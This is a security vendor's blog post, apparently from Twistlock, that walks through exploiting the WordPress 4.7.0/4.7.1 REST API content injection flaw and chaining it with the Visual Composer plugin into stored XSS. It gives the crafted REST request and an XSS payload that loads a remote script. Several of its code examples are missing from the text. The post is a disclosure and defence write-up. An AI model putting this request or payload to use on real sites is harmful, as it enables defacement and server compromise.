Quick Take: 4.7.0/4.7.1 Unauthenticated Content Injection Key Data Points
-Wordpress Security Risk: Severe
-Exploitation Level: Easy/Remote
-Patched Version: 4.7.2
-Vulnerability: Privilege Escalation / Content Injection – can lead to Remote Code Execution
About the WordPress 4.7.0/4.7.1 Vulnerability
A few months ago a severe vulnerability was found in the new WordPress Rest API that was introduced in version 4.7.0, the vulnerability was discovered originally by a security researcher from Securi. You can view their technical analysis over here.
The vulnerability affects versions 4.7.0 to 4.7.1 and is classified as a severe risk. This post will explore how it can be used in order to gain code execution on default installations of WordPress without the need of any third party plugins aside from those that are installed by default.
Exploitation and how Twistlock Responds to the WordPress 4.7.0/4.7.1 Vulnerability
Our journey begins in the new REST API. One of these REST endpoints gives access to view, edit, delete and create posts. Within this particular endpoint, a subtle bug allows visitors to edit any post on the site.
This vulnerability is extremely easy to exploit, all the attacker needs to do is send a POST request to the API such as
/wp-json/wp/v2/posts/1?id=5A in order to modify post whose id equals 5.
For example this code will change the post’s title:
But changing the post and defacing the website is not profitable for the attacker, so we need to scale this thing up by finding a valuable entry point
Visual Composer to the rescue!
Visual Composer is an extremely popular plugin for wordpress, with over 2.2 Million sites using it and more than 40% of the themes that are sold on ThemeForest are shipped with it.
Visual Composer allows the website owner to visually compose his wordpress website by simply dragging elements similarly to how Wix works.
We can now test our XSS payload by modifying our targeted post to include the above shortcode:
And the result from executing the above code:
We confirmed that our XSS works!
Now we can move forward and own the server completely.
Let’s not forget to encode our payload first to html and then to base64
So from <script src=’http://184.108.40.206/hax.js‘></script> we will end up with
and our final exploit will be:
From here the web server is practically owned by the attacker and a savvy attacker won’t stop here.He will establish persistence and will propagate through your server to other machines on the network. It would be especially easy in case your WordPress is not isolated, as it usually happens in case of a containerized environment where communication on the default interface is not blocked.
One of Twistlock’s defense layers is Runtime Radar, which is capable of detecting anomalous container behavior based on data feeds and live analysis of system calls, file system activities, networking and active processes.
Stay tuned to our blog and Twitter account to get the latest container security and cloud native news.
Follow us on Twitter
Follow us on Twitter for real time updates on the cloud native ecosystem, Twistlock product, and cloud native security threats.
Baking Compliance in your CI/CD PipelineRead the Blog
Serverless Security Suggestions: Tips for Keeping Serverless Functions SecureRead the Blog
Why a Common Security Toolset is Essential for DevSecOpsRead the Blog
Putting the “Ops” in DevSecOps: Why It’s Hard and How to Do ItRead the Blog
Why the Point Solution Mindset for IT Security is DeadRead the Blog